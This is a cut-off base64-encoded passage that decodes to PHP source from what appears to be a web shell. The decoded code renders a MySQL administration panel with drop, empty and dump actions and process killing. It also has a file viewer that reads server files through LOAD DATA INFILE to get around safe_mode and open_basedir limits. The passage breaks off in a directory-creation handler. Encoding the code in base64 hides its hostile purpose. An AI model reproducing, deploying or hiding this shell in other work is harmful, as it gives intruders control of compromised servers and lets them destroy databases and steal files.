0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7CiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4iOwogICAgICBlY2hvICI8dHI+IjsKICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsKICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykKICAgICAgewogICAgICAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwogICAgICAgaWYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30KICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9CiAgICAgICBlY2hvICI8dGQ+IjsKICAgICAgIGlmIChlbXB0eSgkZVswXSkpIHskZVswXSA9ICJhIjt9CiAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQogICAgICAgZWxzZSB7ZWNobyAiPGI+Ii4kdi4iPC9iPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJHMuIiUyMCIuJHYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICAgICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgfQogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2ZvbnQ+PC90ZD4iOwogICAgICBlY2hvICI8L3RyPiI7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICBlY2hvICI8dHI+IjsKICAgICAgICR3ID0gIiI7CiAgICAgICAkaSA9IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgJHcgLj0gIiBgIi4kbmFtZS4iYCA9ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7ICRpKys7fQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9CiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOwogICAgICAgJGkgPSAwOwogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpCiAgICAgICB7CiAgICAgICAgJHYgPSBodG1sc3BlY2lhbGNoYXJzKCR2KTsKICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOwogICAgICAgICRpKys7CiAgICAgICB9CiAgICAgICBlY2hvICI8dGQ+IjsKICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEZWxldGVcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkVkaXRcIiBoZWlnaHQ9XCIxNFwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyI7CiAgICAgICBlY2hvICI8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgIH0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPjwvcD4iOwogICAgIH0KICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgZWxzZQogICAgIHsKICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPjxiPlRhYmxlPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxiPlJvd3M8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5DcmVhdGVkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgICAkaSA9IDA7CiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsKICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07CiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFtZSJdLiJcIj48L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSkuIlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgICAkaSsrOwogICAgICB9CiAgICAgIGVjaG8gIjx0ciBiZ2NvbG9yPVwiMDAwMDAwXCI+IjsKICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+uzwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPjxiPiIuJGkuIiB0YWJsZShzKTwvYj48L2NlbnRlcj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48Yj4iLiR0cm93cy4iPC9iPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzEwXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9iPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjwvdGQ+IjsKICAgICAgZWNobyAiPC90cj4iOwogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZHJvcFwiPkRyb3A8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsZW1wdHlcIj5FbXB0eTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxjaGVja1wiPkNoZWNrIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibG9wdGltaXplXCI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGFuYWx5emVcIj5BbmFseXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgIH0KICAgIH0KICAgfQogICB9CiAgfQogIGVsc2UKICB7CiAgICRhY3RzID0gYXJyYXkoIiIsIm5ld2RiIiwic2VydmVyc3RhdHVzIiwic2VydmVydmFycyIsInByb2Nlc3NlcyIsImdldGZpbGUiKTsKICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkgez8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQogICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkKICAgewogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCRzcWxfYWN0ID09ICJuZXdkYiIpCiAgICB7CiAgICAgZWNobyAiPGI+IjsKICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQogICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgIH0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKQogICAgewogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBWQVJJQUJMRVMiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQogICAgewogICAgIGlmICghZW1wdHkoJGtpbGwpKSB7JHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7IGVjaG8gIjxiPktpbGxpbmcgcHJvY2VzcyAjIi4ka2lsbC4iLi4uIG9rLiBoZSBpcyBkZWFkLCBhbWVuLjwvYj4iO30KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3RkPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRkPjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD48dGQ+PGI+Q09NTUFORDwvYj48L3RkPjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjwvdGQ+PHRkPjxiPklORk88L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikKICAgIHsKICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsKICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9CiAgICAgaWYgKCRzZWxlY3QpCiAgICAgewogICAgICAkY3JlYXRlZCA9IEZBTFNFOwogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsKICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9CiAgICAgICAkZiA9ICIiOwogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7CiAgICAgIH0KICAgICB9CiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOyAvL2NvbW1lbnQgaXQgaWYgeW91IHdhbnQgdG8gbGVhdmUgZGF0YWJhc2UKICAgIH0KICAgfQogIH0KIH0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiBpZiAoJHNxbF9zb2NrKQogewogICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7CiAgaWYgKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC90ZD48L3RyPiI7CiB9CiBlY2hvICI8L3RhYmxlPiI7Cn0KaWYgKCRhY3QgPT0gIm1rZGlyIikKewogaWYgKCRta2RpciAhPSAkZCkKIHsKICBpZiAoZmlsZV9leGlzdHMoJG1rZGlyKSkg